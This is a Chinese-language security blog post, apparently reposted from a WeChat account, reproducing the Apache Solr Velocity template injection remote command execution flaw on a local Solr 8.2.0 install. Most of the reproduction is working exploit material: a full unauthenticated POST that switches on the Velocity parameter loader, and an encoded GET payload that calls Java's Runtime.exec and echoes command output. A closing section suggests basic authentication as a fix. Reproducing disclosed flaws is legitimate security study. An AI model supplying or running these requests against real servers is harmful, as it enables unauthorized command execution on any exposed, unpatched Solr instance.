投稿:h88z
漏洞描述
这一漏洞是由国外安全研究人员s00py
公开的。产生原因是由于Apache Solr
的Velocity
模板产生的注入漏洞。该漏洞可以攻击最新以及之前版本的Solr。目前该漏洞利用详情已经广泛流传于Github以及各大网络安全微信、QQ群,且公开的EXP可以执行任意命令并自带回显。官方暂未发布补丁。
漏洞等级
高危
CVE编号
暂无
影响版本
包括且不限于8.2.0(最新版本)
经过一下午各路大佬的不懈尝试,目前已成功复现以下版本(不完全统计)
5.4.1/5.5.0
6.6.1/6.6.3
7.0.1/7.1.0/7.2.1/7.3.0/7.4.0/7.5.0/7.7.1/7.7.2
8.1.0/8.1.1/8.2.0
漏洞复现(Windows环境)
-
首先下载最新版本的Solr
下载链接
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip
2.下载完毕后解压
进入到solr文件的bin文件夹下开启start
E:
cd solr-8.2.0/bin/
solr start
3.打开浏览器输入http://127.0.0.1:8983
4.可以点左边的Core Selector
查看集合
这里我安装时里面并没有什么卵集合
所以需要我手动添加
点击左边的core Admin再点Add core
会出现添加界面随便输入名字,注意config和schema留空(不然会报错)
这里有个小坑直接添加会报错添加不了
需要去solr的根目录下把默认配置文件复制到想要命名的文件夹下。点Add Core会自动在E:solr-8.2.0serversolr下创建同名文件夹。这里需要将E:solr-8.2.0serversolrconfigsets_default下的conf文件夹复制到刚刚新建的同名文件夹下,比如我的是E:solr-8.2.0serversolraaa
这样一番操作就可以成功添加了。
5.访问 http://127.0.0.1:8983/solr/aaa(这里是刚刚命名的name)/config 看下
默认情况下params.resource.loader.enabled的值为false
现在可以祭出我们的神器burp了
6.
打入payload修改集合设置
将params.resource.loader.enabled改为true
(这里因为我的代理出了点问题会自动过滤掉本地ip导致我的burp抓不到,所以我手动更改了host将test.com指向了127.0.0.1所以图片中地址为test.com)
POST /solr/aaa(这里是刚刚命名的name)/config HTTP/1.1
Host: 127.0.0.1:8983
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Referer: http://206.189.43.186:8081/solr/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
Content-Length: 263
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
未授权修改集合设置后再次访问 http://127.0.0.1:8983/solr/aaa(这里是刚刚命名的name)/config 看下
已经修改成功。
7.命令执行
GET /solr/aaa(这里是刚刚命名的name)
/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 127.0.0.1:8983
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Referer: http://206.189.43.186:8081/solr/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
Content-Length: 0
至此就结束了。
有的朋友可能会出现500错误
根据测试情况来看执行ID命令不会报500错误,执行相对复杂的命令会报500错误但是命令是会执行成功的
如下图
参考资料
1.
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
2.
大佬们的指导
修复方案
官方暂未给出相应修复补丁,目前根据网络上的解决方法可以对solr进行访问控制。具体方法参照https://lucene.apache.org/solr/guide/8_1/basic-authentication-plugin.html#enable-basic-authentication
声明:未经授权严禁转载,文中部分图片取材来源于群聊图片,如有侵权请联系本公众号。
原文始发于微信公众号(家国安全):【复现】Apache Solr远程命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论